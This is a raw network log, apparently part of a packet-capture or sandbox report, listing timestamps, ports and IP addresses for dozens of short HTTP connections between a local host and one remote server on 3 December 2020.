Dec 3, 2020 10:02:43.927794933 CET	80	49756	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.927910089 CET	49756	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.931444883 CET	49756	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.947819948 CET	80	49756	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.949999094 CET	49756	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.966438055 CET	80	49756	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.995368004 CET	80	49756	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:43.995446920 CET	49756	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:43.995492935 CET	49756	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:44.011955023 CET	80	49756	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:44.229675055 CET	49758	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:44.246208906 CET	80	49758	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:44.246320963 CET	49758	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:44.249686956 CET	49758	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:44.266315937 CET	80	49758	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:44.266457081 CET	49758	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:44.282841921 CET	80	49758	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:44.316339016 CET	80	49758	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:44.316426039 CET	49758	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:44.316457987 CET	49758	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:44.332916021 CET	80	49758	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:44.631997108 CET	49759	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:44.648736954 CET	80	49759	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:44.648901939 CET	49759	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:44.661642075 CET	49759	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:44.678299904 CET	80	49759	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:44.678453922 CET	49759	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:44.695044041 CET	80	49759	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:44.797399998 CET	80	49759	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:44.797489882 CET	49759	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:44.797530890 CET	49759	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:44.814476967 CET	80	49759	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.000785112 CET	49760	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.017275095 CET	80	49760	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.017359018 CET	49760	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.021437883 CET	49760	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.037873983 CET	80	49760	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.037956953 CET	49760	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.054261923 CET	80	49760	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.078031063 CET	80	49760	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.078110933 CET	49760	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.078151941 CET	49760	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.094641924 CET	80	49760	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.341609001 CET	49761	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.358211994 CET	80	49761	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.358306885 CET	49761	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.361001968 CET	49761	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.377552032 CET	80	49761	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.378002882 CET	49761	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.394547939 CET	80	49761	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.419547081 CET	80	49761	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.419646978 CET	49761	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.419672012 CET	49761	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.438534975 CET	80	49761	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.669876099 CET	49762	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.686395884 CET	80	49762	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.686578989 CET	49762	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.691221952 CET	49762	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.710628033 CET	80	49762	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.710731030 CET	49762	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.726984978 CET	80	49762	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.752643108 CET	80	49762	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.752742052 CET	49762	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.752791882 CET	49762	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:45.769083023 CET	80	49762	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:45.987307072 CET	49763	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.003866911 CET	80	49763	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.004599094 CET	49763	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.008230925 CET	49763	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.024758101 CET	80	49763	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.027164936 CET	49763	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.043760061 CET	80	49763	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.068412066 CET	80	49763	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.072305918 CET	49763	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.072463989 CET	49763	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.088908911 CET	80	49763	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.301558971 CET	49764	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.318259001 CET	80	49764	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.318377018 CET	49764	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.321985960 CET	49764	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.338582993 CET	80	49764	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.338841915 CET	49764	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.355374098 CET	80	49764	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.384202957 CET	80	49764	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.384449959 CET	49764	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.384531975 CET	49764	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.401041031 CET	80	49764	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.600739002 CET	49765	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.617423058 CET	80	49765	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.620270014 CET	49765	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.623970985 CET	49765	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.640609026 CET	80	49765	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.645278931 CET	49765	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.661921024 CET	80	49765	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.686218977 CET	80	49765	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.688441992 CET	49765	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.688478947 CET	49765	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.705017090 CET	80	49765	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.921338081 CET	49766	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.938016891 CET	80	49766	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.938190937 CET	49766	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.941906929 CET	49766	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.958543062 CET	80	49766	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:46.959496021 CET	49766	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:46.976126909 CET	80	49766	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.002928019 CET	80	49766	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.003072977 CET	49766	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.003148079 CET	49766	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.020131111 CET	80	49766	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.187880993 CET	49767	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.204384089 CET	80	49767	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.204572916 CET	49767	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.207695961 CET	49767	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.224219084 CET	80	49767	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.224323034 CET	49767	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.240806103 CET	80	49767	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.267354965 CET	80	49767	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.267452002 CET	49767	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.267514944 CET	49767	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.283931017 CET	80	49767	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.488354921 CET	49768	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.505058050 CET	80	49768	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.505187035 CET	49768	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.508867979 CET	49768	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.525481939 CET	80	49768	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.525604963 CET	49768	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.542141914 CET	80	49768	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.583863974 CET	80	49768	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.583966017 CET	49768	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.584005117 CET	49768	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.600613117 CET	80	49768	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.794033051 CET	49769	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.810662985 CET	80	49769	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.810760021 CET	49769	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.814805984 CET	49769	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.831478119 CET	80	49769	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.831594944 CET	49769	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.848237038 CET	80	49769	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.873610973 CET	80	49769	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:47.873739004 CET	49769	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.873775005 CET	49769	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:47.890420914 CET	80	49769	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.112267017 CET	49770	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.128948927 CET	80	49770	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.129097939 CET	49770	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.133006096 CET	49770	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.149607897 CET	80	49770	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.149697065 CET	49770	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.166230917 CET	80	49770	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.194021940 CET	80	49770	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.194144964 CET	49770	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.194231987 CET	49770	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.210747957 CET	80	49770	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.411048889 CET	49771	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.427666903 CET	80	49771	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.427798986 CET	49771	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.431386948 CET	49771	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.448016882 CET	80	49771	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.448147058 CET	49771	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.464648008 CET	80	49771	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.492337942 CET	80	49771	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.492491007 CET	49771	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.492593050 CET	49771	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.509005070 CET	80	49771	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.693490028 CET	49772	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.710092068 CET	80	49772	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.710418940 CET	49772	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.713865042 CET	49772	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.730535984 CET	80	49772	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.731432915 CET	49772	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.748033047 CET	80	49772	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.774087906 CET	80	49772	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.774290085 CET	49772	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.774311066 CET	49772	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:48.790822983 CET	80	49772	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:48.984251022 CET	49773	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.000833035 CET	80	49773	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:49.001065969 CET	49773	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.003809929 CET	49773	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.020412922 CET	80	49773	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:49.024502039 CET	49773	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.041039944 CET	80	49773	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:49.067827940 CET	80	49773	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:49.067991018 CET	49773	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.068165064 CET	49773	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.084589958 CET	80	49773	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:49.268857956 CET	49774	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.285449028 CET	80	49774	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:49.289786100 CET	49774	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.292978048 CET	49774	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.309459925 CET	80	49774	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:49.310477972 CET	49774	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.326926947 CET	80	49774	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:49.354669094 CET	80	49774	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:49.357534885 CET	49774	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.357557058 CET	49774	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.374079943 CET	80	49774	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:49.568191051 CET	49775	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.584903955 CET	80	49775	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:49.585022926 CET	49775	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.591345072 CET	49775	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.607950926 CET	80	49775	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:49.609148979 CET	49775	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.625660896 CET	80	49775	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:49.830852985 CET	80	49775	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:49.832197905 CET	49775	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.832449913 CET	49775	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:49.848893881 CET	80	49775	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.040997982 CET	49776	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.057485104 CET	80	49776	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.057579041 CET	49776	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.060343981 CET	49776	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.076854944 CET	80	49776	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.076945066 CET	49776	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.093377113 CET	80	49776	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.125688076 CET	80	49776	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.125783920 CET	49776	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.125843048 CET	49776	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.142242908 CET	80	49776	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.340504885 CET	49777	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.357031107 CET	80	49777	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.357172012 CET	49777	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.360534906 CET	49777	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.377170086 CET	80	49777	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.377321005 CET	49777	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.393879890 CET	80	49777	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.424429893 CET	80	49777	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.424563885 CET	49777	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.424611092 CET	49777	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.441101074 CET	80	49777	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.645210981 CET	49778	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.661823988 CET	80	49778	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.661915064 CET	49778	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.664604902 CET	49778	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.681205988 CET	80	49778	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.681318998 CET	49778	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.697877884 CET	80	49778	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.723849058 CET	80	49778	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.723949909 CET	49778	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.723985910 CET	49778	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.740503073 CET	80	49778	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.952639103 CET	49779	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.969255924 CET	80	49779	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.969410896 CET	49779	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.972121954 CET	49779	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:50.988668919 CET	80	49779	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:50.988794088 CET	49779	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.005317926 CET	80	49779	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.037888050 CET	80	49779	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.038017035 CET	49779	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.038080931 CET	49779	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.054694891 CET	80	49779	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.240879059 CET	49780	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.257541895 CET	80	49780	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.257967949 CET	49780	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.261332035 CET	49780	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.278157949 CET	80	49780	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.278279066 CET	49780	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.294787884 CET	80	49780	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.322457075 CET	80	49780	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.322573900 CET	49780	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.322596073 CET	49780	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.339107037 CET	80	49780	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.514183044 CET	49781	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.530883074 CET	80	49781	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.531018019 CET	49781	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.534735918 CET	49781	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.551280975 CET	80	49781	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.551362991 CET	49781	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.568078995 CET	80	49781	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.601372957 CET	80	49781	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.601504087 CET	49781	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.601538897 CET	49781	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.618115902 CET	80	49781	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.829188108 CET	49782	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.845875025 CET	80	49782	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.845971107 CET	49782	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.849829912 CET	49782	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.866439104 CET	80	49782	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.866547108 CET	49782	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.883192062 CET	80	49782	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.905245066 CET	80	49782	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:51.905344009 CET	49782	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.905412912 CET	49782	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:51.921926975 CET	80	49782	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:52.107791901 CET	49783	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.133979082 CET	80	49783	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:52.134074926 CET	49783	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.137412071 CET	49783	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.154028893 CET	80	49783	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:52.155184031 CET	49783	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.171673059 CET	80	49783	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:52.196885109 CET	80	49783	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:52.198718071 CET	49783	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.198791027 CET	49783	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.215249062 CET	80	49783	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:52.422482014 CET	49784	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.439081907 CET	80	49784	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:52.439409971 CET	49784	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.444505930 CET	49784	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.461035013 CET	80	49784	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:52.463078976 CET	49784	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.479707003 CET	80	49784	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:52.504973888 CET	80	49784	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:52.506932974 CET	49784	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.507004023 CET	49784	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.523547888 CET	80	49784	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:52.754796028 CET	49785	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.771397114 CET	80	49785	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:52.771492004 CET	49785	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.774910927 CET	49785	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.791467905 CET	80	49785	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:52.791559935 CET	49785	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.808135033 CET	80	49785	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:52.833587885 CET	80	49785	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:52.833686113 CET	49785	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.833748102 CET	49785	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:52.850161076 CET	80	49785	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:53.088591099 CET	49786	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.105128050 CET	80	49786	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:53.105279922 CET	49786	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.118413925 CET	49786	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.135026932 CET	80	49786	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:53.135096073 CET	49786	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.151514053 CET	80	49786	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:53.234137058 CET	80	49786	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:53.234235048 CET	49786	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.234266043 CET	49786	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.250724077 CET	80	49786	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:53.441134930 CET	49788	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.457629919 CET	80	49788	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:53.457761049 CET	49788	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.460521936 CET	49788	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.476980925 CET	80	49788	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:53.477176905 CET	49788	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.493649006 CET	80	49788	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:53.519107103 CET	80	49788	47.91.79.163	192.168.2.3
Dec 3, 2020 10:02:53.519265890 CET	49788	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.519293070 CET	49788	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:02:53.537237883 CET	80	49788	47.91.79.163	192.168.2.3
